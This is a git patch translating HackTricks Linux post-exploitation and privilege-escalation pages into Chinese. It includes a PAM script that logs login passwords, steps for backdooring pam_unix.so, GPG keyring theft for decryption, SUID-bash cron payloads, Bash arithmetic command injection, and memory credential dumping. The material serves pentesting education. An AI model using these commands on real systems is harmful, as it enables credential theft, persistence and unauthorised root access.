From 7431a47208e83efc85034c31d303ada809d0ece8 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 8 Sep 2025 01:01:13 +0000 Subject: [PATCH] Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's --- .../linux-post-exploitation/README.md | 69 ++- .../privilege-escalation/README.md | 560 +++++++++--------- .../pentesting-web/laravel.md | 155 +++-- src/pentesting-web/file-upload/README.md | 194 +++--- 4 files changed, 559 insertions(+), 419 deletions(-) diff --git a/src/linux-hardening/linux-post-exploitation/README.md b/src/linux-hardening/linux-post-exploitation/README.md index 214b2fba0..1834bc455 100644 --- a/src/linux-hardening/linux-post-exploitation/README.md +++ b/src/linux-hardening/linux-post-exploitation/README.md @@ -2,24 +2,25 @@ {{#include ../../banners/hacktricks-training.md}} -## 使用 PAM 嗅探登录密码 +## Sniffing Logon Passwords with PAM + +让我们配置一个 PAM 模块以记录每个用户登录时使用的密码。如果你不知道 PAM 是什么，请查看： -让我们配置一个 PAM 模块来记录每个用户登录时使用的密码。如果你不知道 PAM 是什么，请查看： {{#ref}} pam-pluggable-authentication-modules.md {{#endref}} -**有关更多详细信息，请查看 [原始帖子](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**。这只是一个摘要： +**For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**。这只是个摘要： -**技术概述：** -可插拔认证模块（PAM）在管理基于 Unix 的系统的认证方面提供了灵活性。它们可以通过自定义登录过程来增强安全性，但如果使用不当也会带来风险。此摘要概述了一种使用 PAM 捕获登录凭据的技术，以及缓解策略。 +**Technique Overview:** +Pluggable Authentication Modules (PAM) 在基于 Unix 的系统上提供了管理认证的灵活性。通过自定义登录流程可以增强安全性，但如果被滥用也会带来风险。本文概要说明了如何利用 PAM 捕获登录凭据，并列出相应的缓解策略。 -**捕获凭据：** +**Capturing Credentials:** -- 一个名为 `toomanysecrets.sh` 的 bash 脚本被创建，用于记录登录尝试，捕获日期、用户名（`$PAM_USER`）、密码（通过 stdin）和远程主机 IP（`$PAM_RHOST`）到 `/var/log/toomanysecrets.log`。 -- 该脚本被设置为可执行，并通过 `pam_exec.so` 模块集成到 PAM 配置（`common-auth`）中，选项为安静运行并将认证令牌暴露给脚本。 -- 该方法演示了如何利用被攻陷的 Linux 主机来隐秘地记录凭据。 +- 编写了一个名为 `toomanysecrets.sh` 的 bash 脚本来记录登录尝试，记录内容包括日期、用户名（`$PAM_USER`）、密码（通过 stdin）以及远程主机 IP（`$PAM_RHOST`），并写入到 `/var/log/toomanysecrets.log`。 +- 将脚本设为可执行，并通过 `pam_exec.so` 模块将其集成到 PAM 配置（`common-auth`）中，使用的选项使其静默运行并将认证令牌暴露给脚本。 +- 该方法演示了如何利用被攻陷的 Linux 主机悄然记录凭据。 ```bash #!/bin/sh echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log @@ -31,23 +32,49 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh ``` ### Backdooring PAM -**有关更多详细信息，请查看[原始帖子](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**。这只是一个摘要： +**更多细节请查看 [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**。 这里只是摘要： -可插拔认证模块（PAM）是一个在Linux下用于用户认证的系统。它基于三个主要概念：**用户名**、**密码**和**服务**。每个服务的配置文件位于`/etc/pam.d/`目录中，那里有共享库处理认证。 +The Pluggable Authentication Module (PAM) 是 Linux 下用于用户认证的系统。它基于三个主要概念：**username**, **password**, 和 **service**。每个 service 的配置文件位于 `/etc/pam.d/` 目录，共享库负责处理认证。 -**目标**：修改PAM以允许使用特定密码进行认证，绕过实际用户密码。这特别关注`common-auth`文件中使用的`pam_unix.so`共享库，该文件几乎被所有服务用于密码验证。 +**目标**：修改 PAM，使其允许使用特定密码进行认证，绕过实际用户密码。重点是 `pam_unix.so` 这个由 `common-auth` 文件使用的共享库，几乎所有用于密码验证的 services 都会包含它。 -### 修改`pam_unix.so`的步骤： +### Steps for Modifying `pam_unix.so`: -1. **定位`common-auth`文件中的认证指令**： -- 负责检查用户密码的行调用`pam_unix.so`。 -2. **修改源代码**： -- 在`pam_unix_auth.c`源文件中添加一个条件语句，如果使用预定义密码则授予访问权限，否则继续进行常规认证过程。 -3. **重新编译并替换**修改后的`pam_unix.so`库到适当的目录。 -4. **测试**： -- 使用预定义密码在各种服务（登录、ssh、sudo、su、屏幕保护程序）中授予访问权限，而正常的认证过程不受影响。 +1. **Locate the Authentication Directive** in the `common-auth` file: +- 负责检查用户密码的那一行会调用 `pam_unix.so`。 +2. **Modify Source Code**: +- 在 `pam_unix_auth.c` 源文件中添加一个条件判断：如果使用预定义密码则授予访问，否则继续正常的认证流程。 +3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory. +4. **Testing**: +- 使用预定义密码可以在多个 services（login, ssh, sudo, su, screensaver）中获得访问，而正常的认证流程不受影响。 > [!TIP] -> 您可以使用[https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)自动化此过程。 +> 你可以使用 [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) 来自动化该过程 + +## Decrypting GPG loot via homedir relocation + +如果你发现一个加密的 `.gpg` 文件和用户的 `~/.gnupg` 文件夹（pubring, private-keys, trustdb），但由于 GnuPG homedir 的权限或锁导致无法解密，可以将 keyring 复制到一个可写的位置并将其用作你的 GPG home。 + +如果不这样，通常会看到错误："unsafe ownership on homedir", "failed to create temporary file", 或 "decryption failed: No secret key"（因为 GPG 无法读/写原始 homedir）。 + +工作流程： +```bash +# 1) Stage a writable homedir and copy the victim's keyring +mkdir -p /dev/shm/fakehome/.gnupg +cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/ +# 2) Ensure ownership & perms are sane for gnupg +chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg +chmod 700 /dev/shm/fakehome/.gnupg +# 3) Decrypt using the relocated homedir (either flag works) +GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg +# or +gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg +``` +如果私钥材料存在于 `private-keys-v1.d` 中，GPG 会在不提示 passphrase 的情况下解锁并解密（如果该密钥受保护则会提示）。 + +## 参考资料 + +- [0xdf – HTB Environment (GPG homedir relocation to decrypt loot)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) +- [GnuPG Manual – Home directory and GNUPGHOME](https://www.gnupg.org/documentation/manuals/gnupg/GPG-Configuration-Options.html#index-homedir) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 06ed669ca..1f6d5bb3e 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -14,38 +14,38 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### 路径 -如果你**对 `PATH` 变量内的任意文件夹有写权限**，你可能能够 hijack 某些 libraries 或 binaries： +如果你**对 `PATH` 变量中任何文件夹具有写权限**，你可能能够劫持某些库或二进制文件： ```bash echo $PATH ``` ### 环境信息 -环境变量中有有趣的信息、密码或 API keys 吗？ +环境变量中是否包含有价值的信息、密码或 API 密钥？ ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -检查 kernel 版本，查看是否存在可用于 escalate privileges 的 exploit +检查 kernel 版本，查看是否存在可用于 escalate privileges 的 exploit。 ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -你可以在这里找到一个很好的易受攻击的内核列表和一些已经存在的 **compiled exploits**： [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) 和 [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -其他可以找到一些 **compiled exploits** 的站点： [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +你可以在这里找到一个不错的易受攻击的内核列表和一些已经 **compiled exploits**： [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +其他可以找到一些 **compiled exploits** 的网站： [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -要从该网站提取所有易受攻击的内核版本，你可以这么做： +要从该网站提取所有易受攻击的内核版本，你可以这样做： ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -下面这些工具可帮助查找 kernel exploits: +可用于查找 kernel exploits 的工具有： [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ [linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (在 victim 上执行，仅检查针对 kernel 2.x 的 exploits) -始终 **在 Google 上搜索 kernel 版本**，也许你的 kernel 版本被写在某个 kernel exploit 中，这样你就能确定该 exploit 是否有效。 +始终 **在 Google 中搜索 kernel 版本**，也许你的 kernel 版本写在某个 kernel exploit 中，这样你就能确认该 exploit 是否有效。 ### CVE-2016-5195 (DirtyCow) @@ -63,7 +63,7 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ```bash searchsploit sudo ``` -你可以使用这个 grep 来检查 sudo 的版本是否存在漏洞。 +您可以使用此 grep 检查 sudo 版本是否易受影响。 ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash ``` ### Dmesg 签名验证失败 -查看 **smasher2 box of HTB** 以获取关于如何利用此 vuln 的 **示例** +检查 **smasher2 box of HTB** 以获取如何利用此 vuln 的 **示例** ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -86,7 +86,7 @@ date 2>/dev/null #Date lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## 列举可能的防御措施 +## 枚举可能的防御措施 ### AppArmor ```bash @@ -123,8 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -If you are inside a docker container you can try to escape from it: - +如果你在 docker container 内，你可以尝试 escape： {{#ref}} docker-security/ @@ -132,7 +131,7 @@ docker-security/ ## 驱动器 -检查 **哪些已挂载或未挂载**、在哪里以及为什么。如果有任何未挂载的内容，你可以尝试将其挂载并检查是否包含敏感信息。 +检查 **what is mounted and unmounted**，在哪里以及为什么。如果有任何是 unmounted 的，你可以尝试把它 mount 并检查是否有敏感信息。 ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -145,25 +144,25 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -此外，检查是否安装了 **任何编译器**。这在你需要使用一些 kernel exploit 时很有用，因为建议在将要使用它的机器上（或在相似的机器上）编译它。 +另外，检查是否安装了 **任何编译器**。如果你需要使用某些 kernel exploit，建议在将要使用它的机器（或类似的机器）上编译它，因此这点很有用。 ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### 已安装的易受攻击软件 +### 漏洞软件已安装 -检查 **已安装软件包和服务的版本**。可能存在一些过时的 Nagios 版本（例如），可被利用来进行 escalating privileges…\ -建议手动检查更可疑的已安装软件的版本。 +检查 **已安装软件包和服务的版本**。可能存在一些旧的 Nagios 版本（例如）可以被利用来进行 escalating privileges…\ +建议手动检查更可疑已安装软件的版本。 ```bash dpkg -l #Debian rpm -qa #Centos ``` -如果你有对该机器的 SSH 访问权限，你也可以使用 **openVAS** 来检查机器中已安装的过时或存在漏洞的软件。 +如果你有对该机器的 SSH 访问权限，你也可以使用 **openVAS** 来检查机器内已安装的软件是否过时或存在已知漏洞。 -> [!NOTE] > _请注意，这些命令会显示大量信息，其中大多无关紧要，因此建议使用像 OpenVAS 或类似的应用来检查已安装的软件版本是否容易受到 known exploits 的影响_ +> [!NOTE] > _请注意，这些命令会显示大量大多无用的信息，因此建议使用像 OpenVAS 之类的应用来检查已安装软件版本是否容易被已知 exploits 利用。_ ## 进程 -查看正在执行的 **哪些进程** 并检查是否有任何进程拥有 **超过应有的权限**（例如由 root 执行的 tomcat？） +查看 **正在执行的进程**，并检查是否有任何进程拥有 **超出应有的权限**（例如由 root 执行的 tomcat？） ```bash ps aux ps -ef @@ -174,13 +173,13 @@ Also **check your privileges over the processes binaries**, maybe you can overwr ### Process monitoring -你可以使用像 [**pspy**](https://github.com/DominicBreuker/pspy) 这样的工具来监控进程。 这对于识别经常被执行的或在满足某些条件时运行的易受攻击的进程非常有用。 +You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met. ### Process memory -服务器上的某些服务会将 **凭证以明文保存在内存中**。\ -通常你将需要 **root privileges** 来读取属于其他用户的进程内存，因此这通常在你已经是 root 并想发现更多凭证时更有用。\ -然而，记住 **作为普通用户你可以读取你自己拥有的进程的内存**。 +服务器上的某些服务会将 **凭据以明文保存到内存中**。\ +通常你将需要 **root privileges** 来读取属于其他用户的进程的内存，因此这通常在你已经是 root 并想发现更多凭据时更有用。\ +然而，记住 **作为普通用户你可以读取你所拥有的进程的内存**。 > [!WARNING] > Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. @@ -194,7 +193,7 @@ Also **check your privileges over the processes binaries**, maybe you can overwr #### GDB -如果你能访问（例如）FTP 服务的内存，你可以获取 Heap 并在其中搜索凭证。 +例如，如果你能够访问某个 FTP 服务的内存，你可以获取 Heap 并在其中搜索凭据。 ```bash gdb -p (gdb) info proc mappings @@ -216,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -对于给定的进程 ID，**maps 显示该进程的内存如何映射** 到其虚拟地址空间；它还显示了 **每个映射区域的权限**。**mem** 伪文件 **暴露了该进程的内存本身**。从 **maps** 文件我们可以知道哪些 **内存区域是可读的** 以及它们的偏移。我们使用这些信息来 **定位到 mem 文件并将所有可读区域转储到文件中**。 +对于给定的进程 ID，**maps 显示该进程的虚拟地址空间中内存是如何映射的**；它还显示每个映射区域的**权限**。**mem** 伪文件**暴露了进程的内存本身**。从 **maps** 文件我们可以知道哪些**内存区域是可读的**以及它们的偏移。我们使用这些信息**定位到 mem 文件并将所有可读区域转储**到一个文件。 ```bash procdump() ( @@ -231,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` 提供对系统的 **物理** 内存的访问，而不是虚拟内存。内核的虚拟地址空间可以使用 /dev/kmem 访问。\ -通常，`/dev/mem` 只有 **root** 和 **kmem** 组可读。 +`/dev/mem` 提供对系统的 **物理** 内存的访问，而不是虚拟内存。内核的虚拟地址空间可以通过 /dev/kmem 访问。\ +通常，`/dev/mem` 仅对 **root** 和 **kmem** 组可读。 ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump（用于 linux） +### ProcDump 用于 linux -ProcDump 是 Sysinternals 套件中用于 Windows 的经典 ProcDump 工具在 Linux 上的重新构想。可在 [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) 获取。 +ProcDump 是对经典 ProcDump 工具的 Linux 重新构想，该工具来自 Sysinternals 的 Windows 工具套件。可在 [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) 获取。 ``` procdump -p 1714 @@ -270,10 +269,10 @@ Press Ctrl-C to end monitoring without terminating the process. 要转储进程内存，你可以使用： - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_您可以手动移除对 root 的要求并转储由您拥有的进程 +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_你可以手动移除 root 的要求并转储由你拥有的进程 - Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (需要 root) -### Credentials from Process Memory +### 进程内存中的凭证 #### 手动示例 @@ -282,16 +281,16 @@ Press Ctrl-C to end monitoring without terminating the process. ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -你可以 dump the process（参见前面的章节以找到不同的方法来 dump the memory of a process）并在 memory 中搜索 credentials： +你可以 dump the process（参见前面的章节以了解不同的方法来 dump the memory of a process），并在 memory 中搜索 credentials： ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -该工具 [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) 会**从内存中窃取明文凭证**，并从一些 **常见文件** 中窃取。它需要 root 权限才能正常工作。 +该工具 [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) 会**从内存中窃取明文凭证**并从一些**已知文件**中获取凭证。它需要 root 权限才能正常工作。 -| 功能 | 进程名 | +| 功能 | 进程名称 | | ------------------------------------------------- | -------------------- | | GDM 密码 (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | @@ -300,7 +299,7 @@ strings *.dump | grep -i password | Apache2 (Active HTTP Basic Auth Sessions) | apache2 | | OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### 搜索 正则表达式/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### 搜索正则/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -314,9 +313,9 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## 定时/Cron 任务 +## 定时任务/Cron jobs -检查是否有任何定时任务存在漏洞。也许你可以利用被 root 执行的脚本 (wildcard vuln? 可以修改 root 使用的文件? 使用 symlinks? 在 root 使用的目录中创建特定文件?). +检查是否有任何定时任务易受攻击。也许你可以利用一个由 root 执行的脚本（wildcard vuln? 可以修改 root 使用的文件吗? 使用 symlinks? 在 root 使用的目录中创建特定文件?）。 ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -324,26 +323,26 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul ``` ### Cron 路径 -例如，在 _/etc/crontab_ 中你可以找到 PATH：_PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +例如，在 _/etc/crontab_ 中你可以找到 PATH： _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_注意用户 "user" 对 /home/user 具有写权限_) +(_注意 user 用户对 /home/user 有写权限_) -如果在这个 crontab 中 root 用户尝试在未设置 PATH 的情况下执行某个命令或脚本。例如： _\* \* \* \* root overwrite.sh_\ -然后，你可以使用以下方法获得一个 root shell： +如果在这个 crontab 中 root 尝试执行某个命令或脚本而没有设置 path。例如： _\* \* \* \* root overwrite.sh_\ +那么，你可以通过以下方式获得 root shell： ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron 使用带有通配符的脚本 (Wildcard Injection) +### Cron 使用包含通配符的脚本 (Wildcard Injection) -如果某个由 root 执行的脚本在命令中包含 “**\***”，你可以利用它来触发意外行为（例如 privesc）。示例： +如果某个由 root 执行的脚本在命令中包含 “**\***”，你可以利用它导致意外行为（例如 privesc）。示例： ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**如果通配符前面是像** _**/some/path/\***_ **这样的路径，则不易受影响（即使** _**./\***_ **也不）。** +**如果 wildcard 前面是像** _**/some/path/\***_ **这样的路径，则它不易受影响（即使** _**./\***_ **也不）。** -阅读以下页面以获取更多通配符利用技巧： +阅读以下页面以获取更多 wildcard 利用技巧： {{#ref}} @@ -353,11 +352,11 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash 在 ((...)), $((...)) 和 let 中的 arithmetic evaluation 之前，会先执行 parameter expansion 和 command substitution。如果一个以 root 身份运行的 cron/parser 从日志读取未受信任的字段并将其传入算术上下文，攻击者可以注入一个 command substitution $(...)，当 cron 运行时该命令会以 root 身份执行。 +Bash 在 ((...))、$((...)) 和 let 的算术求值之前，会先进行 parameter expansion 和 command substitution。如果 root 的 cron/parser 读取不受信任的日志字段并将其传入算术上下文，攻击者可以注入 command substitution $(...)，在 cron 运行时以 root 权限执行。 -- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. +- 为什么可行：在 Bash 中，expansions 的顺序是：parameter/variable expansion、command substitution、arithmetic expansion，然后是 word splitting 和 pathname expansion。所以像 `$(/bin/bash -c 'id > /tmp/pwn')0` 这样的值会先被 substitution（运行命令），然后剩下的数字 `0` 被用于算术运算，脚本因此可以继续而不会报错。 -- 典型的易受攻击的模式： +- 典型的易受攻击模式： ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -367,7 +366,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- 利用：让可被攻击者控制的文本被写入被解析的日志，使看起来像数字的字段包含一个 command substitution 并以数字结尾。确保你的命令不会向 stdout 输出（或将输出重定向），以便算术运算仍然有效。 +- 利用方法：将可被攻击者控制的文本写入被解析的日志，使看起来像数字的字段包含 command substitution 并以数字结束。确保你的命令不向 stdout 输出（或将其重定向），以使算术运算仍然有效。 ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -376,29 +375,29 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -If you **can modify a cron script** executed by root, you can get a shell very easily: +如果你 **能修改一个 cron script**（由 root 执行），你可以非常容易地获得一个 shell： ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -如果由 root 执行的脚本使用一个 **你拥有完全访问权限的目录**，那么删除该文件夹并 **创建一个 symlink 文件夹指向另一个** 来托管由你控制的脚本可能会很有用。 +如果由 root 执行的脚本使用了一个你拥有完全访问权限的 **目录**，那么删除该文件夹并 **创建一个指向另一个的 symlink 文件夹**，用于托管由你控制的脚本，可能会很有用。 ```bash ln -d -s ``` ### 频繁的 cron jobs -你可以监控进程，以查找每隔 1、2 或 5 分钟执行的进程。或许你可以利用它来 escalate privileges。 +你可以监视进程以查找每隔 1、2 或 5 分钟执行的进程。也许你可以利用它来提权。 -例如，要 **在 1 分钟内每 0.1s 监控一次**，**按执行次数最少排序** 并删除执行次数最多的命令，你可以执行： +例如，要 **在 1 分钟内每 0.1 秒监视一次**、**按执行次数较少排序** 并删除执行次数最多的命令，你可以这样做： ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**你也可以使用** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (它会监视并列出每个启动的进程). +**你也可以使用** [**pspy**](https://github.com/DominicBreuker/pspy/releases)（这将监控并列出每个启动的进程）。 -### 不可见的 cron jobs +### 隐形 cron jobs -有可能创建一个 cronjob，**在注释后放置回车符**（没有换行字符），cron job 仍然会生效。示例（注意回车字符）： +可以通过在注释后放置一个回车（没有换行字符）来创建一个 cronjob，cron job 仍然会生效。示例（注意回车字符）： ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -406,12 +405,12 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### 可写的 _.service_ 文件 -检查是否可以写入任何 `.service` 文件，如果可以，你 **可以修改它**，使其在服务 **启动**、**重启** 或 **停止** 时 **执行** 你的 **backdoor**（可能需要等待直到机器重启）。\ -例如，在 `.service` 文件中通过 **`ExecStart=/tmp/script.sh`** 创建你的 backdoor。 +检查是否可以写入任何 `.service` 文件，如果可以，你**可以修改它**，使其在服务**启动**、**重启**或**停止**时**执行**你的**backdoor**（可能需要等到机器重启）。\ +例如在 `.service` 文件中通过 **`ExecStart=/tmp/script.sh`** 创建你的 backdoor -### 可写的 service 二进制文件 +### 可写的服务二进制文件 -请记住，如果你对被服务执行的二进制文件拥有 **写权限**，你可以将它们更改为 backdoors，这样当服务被重新执行时，backdoors 就会被执行。 +请记住，如果你对由服务执行的二进制文件拥有**写权限**，你可以修改它们以植入 backdoor，这样当服务被重新执行时，backdoor 也会被执行。 ### systemd PATH - 相对路径 @@ -419,58 +418,60 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ```bash systemctl show-environment ``` -如果你发现你可以在路径的任何文件夹中 **write**，你可能能够 **escalate privileges**。你需要搜索在服务配置文件中使用 **relative paths being used on service configurations** 的情况，例如： +如果你发现你可以在该路径的任一文件夹中**写入**，你可能能够**escalate privileges**。你需要在服务配置文件中搜索像下面这样使用**相对路径**的条目： ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -然后，在你有写权限的 systemd PATH 文件夹中创建一个与相对路径二进制文件同名的 **可执行文件**，当服务被要求执行易受攻击的操作（**启动**、**停止**、**重载**）时，你的 **backdoor 将被执行**（非特权用户通常不能启动/停止服务，但检查是否可以使用 `sudo -l`）。 +然后，在你可以写入的 systemd PATH 文件夹中创建一个与相对路径二进制同名的 **可执行文件**，当服务被要求执行易受攻击的操作（**Start**, **Stop**, **Reload**）时，你的 **backdoor** 将被执行（非特权用户通常无法启动/停止服务，但请检查是否可以使用 `sudo -l`）。 -**通过 `man systemd.service` 了解有关服务的更多信息。** +**Learn more about services with `man systemd.service`.** -## **Timers** +## **计时器** -**Timers** 是 systemd 的 unit 文件，其名称以 `**.timer**` 结尾，用来控制 `**.service**` 文件或事件。**Timers** 可以作为 cron 的替代方案，因为它们内置对日历时间事件和单调时间事件的支持，并且可以异步运行。 +**Timers** 是以 `**.timer**` 结尾的 systemd unit 文件，用于控制 `**.service**` 文件或触发事件。**Timers** 可作为 cron 的替代方案，因为它们对日历时间事件和单调时间事件提供内建支持，并且可以异步运行。 -你可以用以下命令枚举所有 timers： +你可以列举所有的定时器： ```bash systemctl list-timers --all ``` -### 可写计时器 +### 可写的计时器 -如果你可以修改一个计时器，你可以让它执行 systemd.unit 的某些现有单元（比如 `.service` 或 `.target`） +如果你可以修改一个计时器，你就可以让它执行某些 systemd.unit 实例（例如 `.service` 或 `.target`） ```bash Unit=backdoor.service ``` -> 当计时器到期时要激活的单元。参数是一个单元名，其后缀不是 ".timer"。如果未指定，此值默认为一个与 timer 单元同名（仅后缀不同）的 service。（见上文。）建议被激活的单元名与 timer 单元名除后缀外保持一致。 +在文档中你可以读到 Unit 是： -因此，要滥用此权限，您需要： +> 当该 timer 到期时要激活的单元。参数是一个单元名称，其后缀不是 ".timer"。如果未指定，该值默认为一个与 timer 单元同名（除后缀外）的 service。（见上文。）建议被激活的单元名称和 timer 单元的单元名称除了后缀外保持一致。 -- 找到某个 systemd unit（例如 `.service`），该单元正在 **执行一个可写的二进制文件** -- 找到某个 systemd unit，该单元 **执行相对路径**，并且你对 **systemd PATH** 拥有 **可写权限**（以冒充该可执行文件） +因此，要滥用此权限，你需要： -**Learn more about timers with `man systemd.timer`.** +- 找到某个 systemd unit（例如 `.service`），它正在执行一个 **可写的二进制** +- 找到某个 systemd unit，其正在执行一个 **相对路径**，并且你对 **systemd PATH** 拥有 **写入权限**（以模仿该可执行文件） -### **启用计时器** +**更多关于 timers 的信息请参见 `man systemd.timer`.** -要启用计时器，你需要 root privileges 并执行： +### **启用 Timer** + +要启用一个 timer，你需要 root 权限并执行： ```bash sudo systemctl enable backu2.timer Created symlink 